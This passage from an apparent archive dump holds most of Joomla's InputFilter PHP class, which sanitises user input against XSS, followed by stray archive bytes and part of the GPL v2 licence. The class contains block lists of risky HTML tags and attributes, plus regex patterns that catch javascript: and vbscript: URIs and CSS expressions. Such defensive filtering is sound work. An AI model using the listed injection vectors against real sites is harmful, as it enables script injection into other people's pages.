*/ const ATTR_BLACKLIST = 1; /** * Defines the InputFilter instance should only allow the supplied list of HTML tags. * * @var integer * @since 1.4.0 */ const ONLY_ALLOW_DEFINED_TAGS = 0; /** * Defines the InputFilter instance should block the defined list of HTML tags and allow all others. * * @var integer * @since 1.4.0 */ const ONLY_BLOCK_DEFINED_TAGS = 1; /** * Defines the InputFilter instance should only allow the supplied list of attributes. * * @var integer * @since 1.4.0 */ const ONLY_ALLOW_DEFINED_ATTRIBUTES = 0; /** * Defines the InputFilter instance should block the defined list of attributes and allow all others. * * @var integer * @since 1.4.0 */ const ONLY_BLOCK_DEFINED_ATTRIBUTES = 1; /** * A container for InputFilter instances. * * @var InputFilter[] * @since 1.0 * @deprecated 2.0 */ protected static $instances = array(); /** * The array of permitted tags. * * @var array * @since 1.0 */ public $tagsArray; /** * The array of permitted tag attributes. * * @var array * @since 1.0 */ public $attrArray; /** * The method for sanitising tags * * @var integer * @since 1.0 */ public $tagsMethod; /** * The method for sanitising attributes * * @var integer * @since 1.0 */ public $attrMethod; /** * A flag for XSS checks. Only auto clean essentials = 0, Allow clean blocked tags/attr = 1 * * @var integer * @since 1.0 */ public $xssAuto; /** * The list the blocked tags for the instance. * * @var string[] * @since 1.0 * @note This property will be renamed to $blockedTags in version 2.0 */ public $tagBlacklist = array( 'applet', 'body', 'bgsound', 'base', 'basefont', 'canvas', 'embed', 'frame', 'frameset', 'head', 'html', 'id', 'iframe', 'ilayer', 'layer', 'link', 'meta', 'name', 'object', 'script', 'style', 'title', 'xml', ); /** * The list of blocked tag attributes for the instance. * * @var string[] * @since 1.0 * @note This property will be renamed to $blockedAttributes in version 2.0 */ public $attrBlacklist = array( 'action', 'background', 'codebase', 'dynsrc', 'formaction', 'lowsrc', ); /** * A special list of blocked characters. * * @var string[] * @since 1.3.3 */ private $blockedChars = array( '&tab;', '&space;', ':', '&column;', ); /** * Constructor for InputFilter class. * * @param array $tagsArray List of permitted HTML tags * @param array $attrArray List of permitted HTML tag attributes * @param integer $tagsMethod Method for filtering tags, should be one of the `ONLY_*_DEFINED_TAGS` constants * @param integer $attrMethod Method for filtering attributes, should be one of the `ONLY_*_DEFINED_ATTRIBUTES` constants * @param integer $xssAuto Only auto clean essentials = 0, Allow clean blocked tags/attributes = 1 * * @since 1.0 */ public function __construct($tagsArray = array(), $attrArray = array(), $tagsMethod = self::ONLY_ALLOW_DEFINED_TAGS, $attrMethod = self::ONLY_ALLOW_DEFINED_ATTRIBUTES, $xssAuto = 1 ) { // Make sure user defined arrays are in lowercase $tagsArray = array_map('strtolower', (array) $tagsArray); $attrArray = array_map('strtolower', (array) $attrArray); // Assign member variables $this->tagsArray = $tagsArray; $this->attrArray = $attrArray; $this->tagsMethod = $tagsMethod; $this->attrMethod = $attrMethod; $this->xssAuto = $xssAuto; } /** * Cleans the given input source based on the instance configuration and specified data type * * @param string|string[]|object $source Input string/array-of-string/object to be 'cleaned' * @param string $type The return type for the variable: * INT: An integer * UINT: An unsigned integer * FLOAT: A floating point number * BOOLEAN: A boolean value * WORD: A string containing A-Z or underscores only (not case sensitive) * ALNUM: A string containing A-Z or 0-9 only (not case sensitive) * CMD: A string containing A-Z, 0-9, underscores, periods or hyphens (not case * sensitive) * BASE64: A string containing A-Z, 0-9, forward slashes, plus or equals (not case * sensitive) * STRING: A fully decoded and sanitised string (default) * HTML: A sanitised string * ARRAY: An array * PATH: A sanitised file path * TRIM: A string trimmed from normal, non-breaking and multibyte spaces * USERNAME: Do not use (use an application specific filter) * RAW: The raw string is returned with no filtering * unknown: An unknown filter will act like STRING. If the input is an array it will * return an array of fully decoded and sanitised strings. * * @return mixed 'Cleaned' version of the `$source` parameter * * @since 1.0 */ public function clean($source, $type = 'string') { $type = ucfirst(strtolower($type)); if ($type === 'Array') { return (array) $source; } if ($type === 'Raw') { return $source; } if (\is_array($source)) { $result = array(); foreach ($source as $key => $value) { $result[$key] = $this->clean($value, $type); } return $result; } if (\is_object($source)) { foreach (get_object_vars($source) as $key => $value) { $source->$key = $this->clean($value, $type); } return $source; } $method = 'clean' . $type; if (method_exists($this, $method)) { return $this->$method((string) $source); } // Unknown filter method if (\is_string($source) && !empty($source)) { // Filter source for XSS and other 'bad' code etc. return $this->cleanString($source); } // Not an array or string... return the passed parameter return $source; } /** * Function to determine if contents of an attribute are safe * * @param array $attrSubSet A 2 element array for attribute's name, value * * @return boolean True if bad code is detected * * @since 1.0 */ public static function checkAttribute($attrSubSet) { $quoteStyle = version_compare(\PHP_VERSION, '5.4', '>=') ? \ENT_QUOTES | \ENT_HTML401 : \ENT_QUOTES; $attrSubSet[0] = strtolower($attrSubSet[0]); $attrSubSet[1] = html_entity_decode(strtolower($attrSubSet[1]), $quoteStyle, 'UTF-8'); return (strpos($attrSubSet[1], 'expression') !== false && $attrSubSet[0] === 'style') || preg_match('/(?:(?:java|vb|live)script|behaviour|mocha)(?::|:|&column;)/', $attrSubSet[1]) !== 0; } /** * Internal method to iteratively remove all unwanted tags and attributes * * @param string $source Input string to be 'cleaned' * * @return string 'Cleaned' version of input parameter * * @since 1.0 */ protected function remove($source) { // Iteration provides nested tag protection do { $temp = $source; $source = $this->cleanTags($source); } while ($temp !== $source); return $source; } /** * Internal method to strip a string of disallowed tags * * @param string $source Input string to be 'cleaned' * * @return string 'Cleaned' version of input parameter * * @since 1.0 */ protected function cleanTags($source) { // First, pre-process this for illegal characters inside attribute values $source = $this->escapeAttributeValues($source); // In the beginning we don't really have a tag, so everything is postTag $preTag = null; $postTag = $source; $currentSpace = false; // Setting to null to deal with undefined variables $attr = ''; // Is there a tag? If so it will certainly start with a '<'. $tagOpenStart = StringHelper::strpos($source, '<'); while ($tagOpenStart !== false) { // Get some information about the tag we are processing $preTag .= StringHelper::substr($postTag, 0, $tagOpenStart); $postTag = StringHelper::substr($postTag, $tagOpenStart); $fromTagOpen = StringHelper::substr($postTag, 1); $tagOpenEnd = StringHelper::strpos($fromTagOpen, '>'); // Check for mal-formed tag where we have a second '<' before the first '>' $nextOpenTag = (StringHelper::strlen($postTag) > $tagOpenStart) ? StringHelper::strpos($postTag, '<', $tagOpenStart + 1) : false; if (($nextOpenTag !== false) && ($nextOpenTag < $tagOpenEnd)) { // At this point we have a mal-formed tag -- remove the offending open $postTag = StringHelper::substr($postTag, 0, $tagOpenStart) . StringHelper::substr($postTag, $tagOpenStart + 1); $tagOpenStart = StringHelper::strpos($postTag, '<'); continue; } // Let's catch any non-terminated tags and skip over them if ($tagOpenEnd === false) { $postTag = StringHelper::substr($postTag, $tagOpenStart + 1); $tagOpenStart = StringHelper::strpos($postTag, '<'); continue; } // Do we have a nested tag? $tagOpenNested = StringHelper::strpos($fromTagOpen, '<'); if (($tagOpenNested !== false) && ($tagOpenNested < $tagOpenEnd)) { $preTag .= StringHelper::substr($postTag, 1, $tagOpenNested); $postTag = StringHelper::substr($postTag, ($tagOpenNested + 1)); $tagOpenStart = StringHelper::strpos($postTag, '<'); continue; } // Let's get some information about our tag and setup attribute pairs $tagOpenNested = (StringHelper::strpos($fromTagOpen, '<') + $tagOpenStart + 1); $currentTag = StringHelper::substr($fromTagOpen, 0, $tagOpenEnd); $tagLength = StringHelper::strlen($currentTag); $tagLeft = $currentTag; $attrSet = array(); $currentSpace = StringHelper::strpos($tagLeft, ' '); // Are we an open tag or a close tag? if (StringHelper::substr($currentTag, 0, 1) === '/') { // Close Tag $isCloseTag = true; list($tagName) = explode(' ', $currentTag); $tagName = StringHelper::substr($tagName, 1); } else { // Open Tag $isCloseTag = false; list($tagName) = explode(' ', $currentTag); } /* * Exclude all "non-regular" tagnames * OR no tagname * OR remove if xssauto is on and tag is blocked */ if ((!preg_match('/^[a-z][a-z0-9]*$/i', $tagName)) || (!$tagName) || ((\in_array(strtolower($tagName), $this->tagBlacklist)) && ($this->xssAuto))) { $postTag = StringHelper::substr($postTag, ($tagLength + 2)); $tagOpenStart = StringHelper::strpos($postTag, '<'); // Strip tag continue; } /* * Time to grab any attributes from the tag... need this section in * case attributes have spaces in the values. */ while ($currentSpace !== false) { $attr = ''; $fromSpace = StringHelper::substr($tagLeft, ($currentSpace + 1)); $nextEqual = StringHelper::strpos($fromSpace, '='); $nextSpace = StringHelper::strpos($fromSpace, ' '); $openQuotes = StringHelper::strpos($fromSpace, '"'); $closeQuotes = StringHelper::strpos(StringHelper::substr($fromSpace, ($openQuotes + 1)), '"') + $openQuotes + 1; $startAtt = ''; $startAttPosition = 0; // Find position of equal and open quotes ignoring if (preg_match('#\s*=\s*\"#', $fromSpace, $matches, \PREG_OFFSET_CAPTURE)) { // We have found an attribute, convert its byte position to a UTF-8 string length, using non-multibyte substr() $stringBeforeAttr = substr($fromSpace, 0, $matches[0][1]); $startAttPosition = StringHelper::strlen($stringBeforeAttr); $startAtt = $matches[0][0]; $closeQuotePos = StringHelper::strpos( StringHelper::substr($fromSpace, ($startAttPosition + StringHelper::strlen($startAtt))), '"' ); $closeQuotes = $closeQuotePos + $startAttPosition + StringHelper::strlen($startAtt); $nextEqual = $startAttPosition + StringHelper::strpos($startAtt, '='); $openQuotes = $startAttPosition + StringHelper::strpos($startAtt, '"'); $nextSpace = StringHelper::strpos(StringHelper::substr($fromSpace, $closeQuotes), ' ') + $closeQuotes; } // Do we have an attribute to process? [check for equal sign] if ($fromSpace !== '/' && (($nextEqual && $nextSpace && $nextSpace < $nextEqual) || !$nextEqual)) { if (!$nextEqual) { $attribEnd = StringHelper::strpos($fromSpace, '/') - 1; } else { $attribEnd = $nextSpace - 1; } // If there is an ending, use this, if not, do not worry. if ($attribEnd > 0) { $fromSpace = StringHelper::substr($fromSpace, $attribEnd + 1); } } if (StringHelper::strpos($fromSpace, '=') !== false) { /* * If the attribute value is wrapped in quotes we need to grab the substring from the closing quote, * otherwise grab until the next space. */ if (($openQuotes !== false) && (StringHelper::strpos(StringHelper::substr($fromSpace, ($openQuotes + 1)), '"') !== false)) { $attr = StringHelper::substr($fromSpace, 0, ($closeQuotes + 1)); } else { $attr = StringHelper::substr($fromSpace, 0, $nextSpace); } } else { // No more equal signs so add any extra text in the tag into the attribute array [eg. checked] if ($fromSpace !== '/') { $attr = StringHelper::substr($fromSpace, 0, $nextSpace); } } // Last Attribute Pair if (!$attr && $fromSpace !== '/') { $attr = $fromSpace; } // Add attribute pair to the attribute array $attrSet[] = $attr; // Move search point and continue iteration $tagLeft = StringHelper::substr($fromSpace, StringHelper::strlen($attr)); $currentSpace = StringHelper::strpos($tagLeft, ' '); } // Is our tag in the user input array? $tagFound = \in_array(strtolower($tagName), $this->tagsArray); // If the tag is allowed let's append it to the output string. if ((!$tagFound && $this->tagsMethod) || ($tagFound && !$this->tagsMethod)) { // Reconstruct tag with allowed attributes if (!$isCloseTag) { // Open or single tag $attrSet = $this->cleanAttributes($attrSet); $preTag .= '<' . $tagName; for ($i = 0, $count = \count($attrSet); $i < $count; $i++) { $preTag .= ' ' . $attrSet[$i]; } // Reformat single tags to XHTML if (StringHelper::strpos($fromTagOpen, '</' . $tagName)) { $preTag .= '>'; } else { $preTag .= ' />'; } } else { // Closing tag $preTag .= '</' . $tagName . '>'; } } // Find next tag's start and continue iteration $postTag = StringHelper::substr($postTag, ($tagLength + 2)); $tagOpenStart = StringHelper::strpos($postTag, '<'); } // Append any code after the end of tags and return if ($postTag !== '<') { $preTag .= $postTag; } return $preTag; } /** * Internal method to strip a tag of disallowed attributes * * @param array $attrSet Array of attribute pairs to filter * * @return array Filtered array of attribute pairs * * @since 1.0 */ protected function cleanAttributes($attrSet) { $newSet = array(); $count = \count($attrSet); // Iterate through attribute pairs for ($i = 0; $i < $count; $i++) { // Skip blank spaces if (!$attrSet[$i]) { continue; } // Split into name/value pairs $attrSubSet = explode('=', trim($attrSet[$i]), 2); // Take the last attribute in case there is an attribute with no value $attrSubSet0 = explode(' ', trim($attrSubSet[0])); $attrSubSet[0] = array_pop($attrSubSet0); $attrSubSet[0] = strtolower($attrSubSet[0]); $quoteStyle = version_compare(\PHP_VERSION, '5.4', '>=') ? \ENT_QUOTES | \ENT_HTML401 : \ENT_QUOTES; // Remove all spaces as valid attributes does not have spaces. $attrSubSet[0] = html_entity_decode($attrSubSet[0], $quoteStyle, 'UTF-8'); $attrSubSet[0] = preg_replace('/^[\pZ\pC]+|[\pZ\pC]+$/u', '', $attrSubSet[0]); $attrSubSet[0] = preg_replace('/\s+/u', '', $attrSubSet[0]); // Remove blocked chars from the attribute name foreach ($this->blockedChars as $blockedChar) { $attrSubSet[0] = str_ireplace($blockedChar, '', $attrSubSet[0]); } // Remove all symbols $attrSubSet[0] = preg_replace('/[^\p{L}\p{N}\-\s]/u', '', $attrSubSet[0]); // Remove all "non-regular" attribute names // AND blocked attributes if ((!preg_match('/[a-z]*$/i', $attrSubSet[0])) || (($this->xssAuto) && ((\in_array(strtolower($attrSubSet[0]), $this->attrBlacklist)) || (substr($attrSubSet[0], 0, 2) == 'on')))) { continue; } // XSS attribute value filtering if (!isset($attrSubSet[1])) { continue; } // Remove blocked chars from the attribute value foreach ($this->blockedChars as $blockedChar) { $attrSubSet[1] = str_ireplace($blockedChar, '', $attrSubSet[1]); } // Trim leading and trailing spaces $attrSubSet[1] = trim($attrSubSet[1]); // Strips unicode, hex, etc $attrSubSet[1] = str_replace('&#', '', $attrSubSet[1]); // Strip normal newline within attr value $attrSubSet[1] = preg_replace('/[\n\r]/', '', $attrSubSet[1]); // Strip double quotes $attrSubSet[1] = str_replace('"', '', $attrSubSet[1]); // Convert single quotes from either side to doubles (Single quotes shouldn't be used to pad attr values) if ((substr($attrSubSet[1], 0, 1) == "'") && (substr($attrSubSet[1], (\strlen($attrSubSet[1]) - 1), 1) == "'")) { $attrSubSet[1] = substr($attrSubSet[1], 1, (\strlen($attrSubSet[1]) - 2)); } // Strip slashes $attrSubSet[1] = stripslashes($attrSubSet[1]); // Autostrip script tags if (static::checkAttribute($attrSubSet)) { continue; } // Is our attribute in the user input array? $attrFound = \in_array(strtolower($attrSubSet[0]), $this->attrArray); // If the tag is allowed lets keep it if ((!$attrFound && $this->attrMethod) || ($attrFound && !$this->attrMethod)) { // Does the attribute have a value? if (empty($attrSubSet[1]) === false) { $newSet[] = $attrSubSet[0] . '="' . $attrSubSet[1] . '"'; } elseif ($attrSubSet[1] === '0') { // Special Case // Is the value 0? $newSet[] = $attrSubSet[0] . '="0"'; } else { // Leave empty attributes alone $newSet[] = $attrSubSet[0] . '=""'; } } } return $newSet; } /** * Try to convert to plaintext * * @param string $source The source string. * * @return string Plaintext string * * @since 1.0 * @deprecated This method will be removed once support for PHP 5.3 is discontinued. */ protected function decode($source) { return html_entity_decode($source, \ENT_QUOTES, 'UTF-8'); } /** * Escape < > and " inside attribute values * * @param string $source The source string. * * @return string Filtered string * * @since 1.0 */ protected function escapeAttributeValues($source) { $alreadyFiltered = ''; $remainder = $source; $badChars = array('<', '"', '>'); $escapedChars = array('<', '"', '>'); // Process each portion based on presence of =" and "<space>, "/>, or "> // See if there are any more attributes to process while (preg_match('#<[^>]*?=\s*?(\"|\')#s', $remainder, $matches, \PREG_OFFSET_CAPTURE)) { // We have found a tag with an attribute, convert its byte position to a UTF-8 string length, using non-multibyte substr() $stringBeforeTag = substr($remainder, 0, $matches[0][1]); $tagPosition = StringHelper::strlen($stringBeforeTag); // Get the character length before the attribute value $nextBefore = $tagPosition + StringHelper::strlen($matches[0][0]); // Figure out if we have a single or double quote and look for the matching closing quote // Closing quote should be "/>, ">, "<space>, or " at the end of the string $quote = StringHelper::substr($matches[0][0], -1); $pregMatch = ($quote == '"') ? '#(\"\s*/\s*>|\"\s*>|\"\s+|\"$)#' : "#(\'\s*/\s*>|\'\s*>|\'\s+|\'$)#"; // Get the portion after attribute value $attributeValueRemainder = StringHelper::substr($remainder, $nextBefore); if (preg_match($pregMatch, $attributeValueRemainder, $matches, \PREG_OFFSET_CAPTURE)) { // We have a closing quote, convert its byte position to a UTF-8 string length, using non-multibyte substr() $stringBeforeQuote = substr($attributeValueRemainder, 0, $matches[0][1]); $closeQuoteChars = StringHelper::strlen($stringBeforeQuote); $nextAfter = $nextBefore + $matches[0][1]; } else { // No closing quote $nextAfter = StringHelper::strlen($remainder); } // Get the actual attribute value $attributeValue = StringHelper::substr($remainder, $nextBefore, $nextAfter - $nextBefore); // Escape bad chars $attributeValue = str_replace($badChars, $escapedChars, $attributeValue); $attributeValue = $this->stripCssExpressions($attributeValue); $alreadyFiltered .= StringHelper::substr($remainder, 0, $nextBefore) . $attributeValue . $quote; $remainder = StringHelper::substr($remainder, $nextAfter + 1); } // At this point, we just have to return the $alreadyFiltered and the $remainder return $alreadyFiltered . $remainder; } /** * Remove CSS Expressions in the form of <property>:expression(...) * * @param string $source The source string. * * @return string Filtered string * * @since 1.0 */ protected function stripCssExpressions($source) { // Strip any comments out (in the form of /*...*/) $test = preg_replace('#\/\*.*\*\/#U', '', $source); // Test for :expression if (!stripos($test, ':expression')) { // Not found, so we are done return $source; } // At this point, we have stripped out the comments and have found :expression // Test stripped string for :expression followed by a '(' if (preg_match_all('#:expression\s*\(#', $test, $matches)) { // If found, remove :expression return str_ireplace(':expression', '', $test); } return $source; } /** * Integer filter * * @param string $source The string to be filtered * * @return integer The filtered value */ private function cleanInt($source) { $pattern = '/[-+]?[0-9]+/'; preg_match($pattern, $source, $matches); return isset($matches[0]) ? (int) $matches[0] : 0; } /** * Alias for cleanInt() * * @param string $source The string to be filtered * * @return integer The filtered value */ private function cleanInteger($source) { return $this->cleanInt($source); } /** * Unsigned integer filter * * @param string $source The string to be filtered * * @return integer The filtered value */ private function cleanUint($source) { $pattern = '/[-+]?[0-9]+/'; preg_match($pattern, $source, $matches); return isset($matches[0]) ? abs((int) $matches[0]) : 0; } /** * Float filter * * @param string $source The string to be filtered * * @return float The filtered value */ private function cleanFloat($source) { $pattern = '/[-+]?[0-9]+(\.[0-9]+)?([eE][-+]?[0-9]+)?/'; preg_match($pattern, $source, $matches); return isset($matches[0]) ? (float) $matches[0] : 0.0; } /** * Alias for cleanFloat() * * @param string $source The string to be filtered * * @return float The filtered value */ private function cleanDouble($source) { return $this->cleanFloat($source); } /** * Boolean filter * * @param string $source The string to be filtered * * @return boolean The filtered value */ private function cleanBool($source) { return (bool) $source; } /** * Alias for cleanBool() * * @param string $source The string to be filtered * * @return boolean The filtered value */ private function cleanBoolean($source) { return $this->cleanBool($source); } /** * Word filter * * @param string $source The string to be filtered * * @return string The filtered string */ private function cleanWord($source) { $pattern = '/[^A-Z_]/i'; return preg_replace($pattern, '', $source); } /** * Alphanumerical filter * * @param string $source The string to be filtered * * @return string The filtered string */ private function cleanAlnum($source) { $pattern = '/[^A-Z0-9]/i'; return preg_replace($pattern, '', $source); } /** * Command filter * * @param string $source The string to be filtered * * @return string The filtered string */ private function cleanCmd($source) { $pattern = '/[^A-Z0-9_\.-]/i'; $result = preg_replace($pattern, '', $source); $result = ltrim($result, '.'); return $result; } /** * Base64 filter * * @param string $source The string to be filtered * * @return string The filtered string */ private function cleanBase64($source) { $pattern = '/[^A-Z0-9\/+=]/i'; return preg_replace($pattern, '', $source); } /** * String filter * * @param string $source The string to be filtered * * @return string The filtered string */ private function cleanString($source) { return $this->remove($this->decode($source)); } /** * HTML filter * * @param string $source The string to be filtered * * @return string The filtered string */ private function cleanHtml($source) { return $this->remove($source); } /** * Path filter * * @param string $source The string to be filtered * * @return string The filtered string */ private function cleanPath($source) { // Linux and other Unixoids $filePattern = '(?:[^\x00\/:*?]{1,255})'; $pathSeparatorPattern = '(?:\/+)'; $rootPattern = '(?:\/)'; if ($this->pathMatches($source, $rootPattern, $pathSeparatorPattern, $filePattern, '/')) { return $source; } // Windows $filePattern = '(?:[^\x00\\\\\/:*"?<>|]{1,255})'; $pathSeparatorPattern = '(?:[\\\\\/])'; $rootPattern = '(?:[A-Za-z]:(\\\\|\/))'; if ($this->pathMatches($source, $rootPattern, $pathSeparatorPattern, $filePattern, '\\')) { return $source; } return ''; } /** * Fix a path, if and only if it matches the provided patterns. * * If a path matches but is longer than 4095 bytes, it is cleared. * * @param string $source The path as provided; it gets cleaned in place, if possible. * @param string $rootPattern The pattern to identify an absolute path (e.g., '/' on Linux, 'C:\' on Windows), * @param string $pathSeparatorPattern The pattern for valid path separators * @param string $filePattern The pattern for valid file and directory names * @param string $pathSeparator The native path separator * * @return boolean */ private function pathMatches(&$source, $rootPattern, $pathSeparatorPattern, $filePattern, $pathSeparator) { $pathPattern = "/^{$rootPattern}?(?:{$filePattern}{$pathSeparatorPattern})*{$filePattern}?$/u"; if (preg_match($pathPattern, $source)) { $source = preg_replace("/{$pathSeparatorPattern}/", $pathSeparator, $source); if (strlen($source) > 4095) { // Path is too long $source = ''; } return true; } return false; } /** * Trim filter * * @param string $source The string to be filtered * * @return string The filtered string */ private function cleanTrim($source) { $result = trim($source); $result = StringHelper::trim($result, \chr(0xE3) . \chr(0x80) . \chr(0x80)); $result = StringHelper::trim($result, \chr(0xC2) . \chr(0xA0)); return $result; } /** * Username filter * * @param string $source The string to be filtered * * @return string The filtered string */ private function cleanUsername($source) { $pattern = '/[\x00-\x1F\x7F<>"\'%&]/'; return preg_replace($pattern, '', $source); } } PKÜ�\�P�E�Evendor/joomla/filter/LICENSEnu�[���GNU GENERAL PUBLIC LICENSE Version 2, June 1991 Copyright (C) 1989, 1991 Free Software Foundation, Inc. 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Preamble The licenses for most software are designed to take away your freedom to share and change it. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change free software--to make sure the software is free for all its users. This General Public License applies to most of the Free Software Foundation's software and to any other program whose authors commit to using it. (Some other Free Software Foundation software is covered by the GNU Library General Public License instead.) You can apply it to your programs, too. When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for this service if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs; and that you know you can do these things. To protect your rights, we need to make restrictions that forbid anyone to deny you these rights or to ask you to surrender the rights. These restrictions translate to certain responsibilities for you if you distribute copies of the software, or if you modify it. For example, if you distribute copies of such a program, whether gratis or for a fee, you must give the recipients all the rights that you have. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. We protect your rights with two steps: (1) copyright the software, and (2) offer you this license which gives you legal permission to copy, distribute and/or modify the software. Also, for each author's protection and ours, we want to make certain that everyone understands that there is no warranty for this free software. If the software is modified by someone else and passed on, we want its recipients to know that what they have is not the original, so that any problems introduced by others will not reflect on the original authors' reputations. Finally, any free program is threatened constantly by software patents. We wish to avoid the danger that redistributors of a free program will individually obtain patent licenses, in effect making the program proprietary. To prevent this, we have made it clear that any patent must be licensed for everyone's free use or not licensed at all. The precise terms and conditions for copying, distribution and modification follow. GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 0. This License applies to any program or other work which contains a notice placed by the copyright holder saying it may be distributed under the terms of this General Public License. The "Program", below, refers to any such program or work, and a "work based on the Program" means either the Program or any derivative work under copyright law: that is to say, a work containing the Program or a portion of it, either verbatim or with modifications and/or translated into another language. (Hereinafter, translation is included without limitation in the term "modification".) Each licensee is addressed as "you". Activities other than copying, distribution and modification are not covered by this License; they are outside its scope. The act of running the Program is not restricted, and the output from the Program is covered only if its contents constitute a work based on the Program (independent of having been made by running the Program). Whether that is true depends on what the Program does. 1. You may copy and distribute verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice and disclaimer of warranty; keep intact all the notices that refer to this License and to the absence of any warranty; and give any other recipients of the Program a copy of this License along with the Program. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. 2. You may modify your copy or copies of the Program or any portion of it, thus forming a work based on the Program, and copy and distribute such modifications or work under the terms of Section 1 above, provided that you also meet all of these conditions: a) You must cause the modified files to carry prominent notices stating that you changed the files and the date of any change. b) You must cause any work that you distribute or publish, that in whole or in part contains or is derived from the Program or any part thereof, to be licensed as a whole at no charge to all third parties under the terms of this License. c) If the modified program normally reads commands interactively when run, you must cause it, when started running for such interactive use in the most ordinary way, to print or display an announcement including an appropriate copyright notice and a notice that there is no warranty (or else, saying that you provide a warranty) and that users may redistribute the program under these conditions, and telling the user how to view a copy of this License. (Exception: if the Program itself is interactive but does not normally print such an announcement, your work based on the Program is not required to print an announcement.) These requirements apply to the modified work as a whole. If identifiable sections of that work are not derived from the Program, and can be reasonably considered independent and separate works in themselves, then this License, and its terms, do not apply to those sections when you distribute them as separate works. But when you distribute the same sections as part of a whole which is a work based on the Program, the distribution of the whole must be on the terms of this License, whose permissions for other licensees extend to the entire whole, and thus to each and every part regardless of who wrote it. Thus, it is not the intent of this section to claim rights or contest your rights to work written entirely by you; rather, the intent is to exercise the right to control the distribution of derivative or collective works based on the Program. In addition, mere aggregation of another work not based on the Program with the Program (or with a work based on the Program) on a volume of a storage or distribution medium does not bring the other work under the scope of this License. 3. You may copy and distribute the Program (or a work based on it, under Section 2) in object code or executable form under the terms of Sections 1 and 2 above provided that you also do one of the following: a) Accompany it with the complete corresponding machine-readable source code, which must be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, b) Accompany it with a written offer, valid for at least three years, to give any third party, for a charge no more than your cost of physically performing source distribution, a complete machine-readable copy of the corresponding source code, to be distributed under the terms of Sections 1 and 2 above on a medium customarily used for software interchange; or, c) Accompany it with the information you received as to the offer to distribute corresponding source code. (This alternative is allowed only for noncommercial distribution and only if you received the program in object code or executable form with such an offer, in accord with Subsection b above.) The source code for a work means the preferred form of the work for making modifications to it. For an executable work, complete source code means all the source code for all modules it contains, plus any associated interface definition files, plus the scripts used to control compilation and installation of the executable. However, as a special exception, the source code distributed need not include anything that is normally distributed (in either source or binary form) with the major components (compiler, kernel, and so on) of the operating system on which the executable runs, unless that component itself accompanies the executable. If distribution of executable or object code is made by offering access to copy from a designated place, then offering equivalent access to copy the source code from the same place counts as distribution of the source code, even though third parties are not compelled to copy the source along with the object code. 4. You may not copy, modify, sublicense, or distribute the Program except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense or distribute the Program is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance. 5. You are not required to accept this License, since you have not signed it. However, nothing else grants you permission to modify or distribute the Program or its derivative works. These actions are prohibited by law if you do not accept this License. Therefore, by modifying or distributing the Program (or any work based on the Program), you indicate your acceptance of this License to do so, and all its terms and conditions for copying, distributing or modifying the Program or works based on it. 6. Each time you redistribute the Program (or any work based on the Program), the recipient automatically receives a license from the original licensor to copy, distribute or modify the Program subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties to this License. 7. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot distribute so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not distribute the Program at all. For example, if a patent license would not permit royalty-free redistribution of the Program by all those who receive copies directly or indirectly through you, then the only way you could satisfy both it and this License would be to refrain entirely from distribution of the Program. If any portion of this section is held invalid or unenforceable under any particular circumstance, the balance of the section is intended to apply and the section as a whole is intended to apply in other circumstances. It is not the purpose of this section to induce you to infringe any patents or other property right claims or to contest validity of any such claims; this section has the sole purpose of protecting the integrity of the free software distribution system, which is implemented by public license practices. Many people have made generous contributions to the wide range of software distributed through that system in reliance on consistent application of that system; it is up to the author/donor to decide if he or she is willing to distribute software through any other system and a licensee cannot impose that choice. This section is intended to make thoroughly clear what is believed to be a consequence of the rest of this License. 8. If the distribution and/or use of the Program is restricted in certain countries either by patents or by copyrighted interfaces, the original copyright holder who places the Program under this License may add an explicit geographical distribution limitation excluding those countries, so that distribution is permitted only in or among countries not thus excluded. In such case, this License incorporates the limitation as if written in the body of this License. 9. The Free Software Foundation may publish revised and/or new versions of the General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Program specifies a version number of this License which applies to it and "any later version", you have the option of following the terms and conditions either of that version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of this License, you may choose any version ever published by the Free Software Foundation. 10. If you wish to incorporate parts of the Program into other free programs whose distribution conditions are different, write to the author to ask for permission. For software which is copyrighted by the Free Software Foundation, write to the Free Software Foundation; we sometimes make exceptions for this. Our decision will be guided by the two goals of preserving the free status of all derivatives of our free software and of promoting the sharing and reuse of software generally. NO WARRANTY 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE 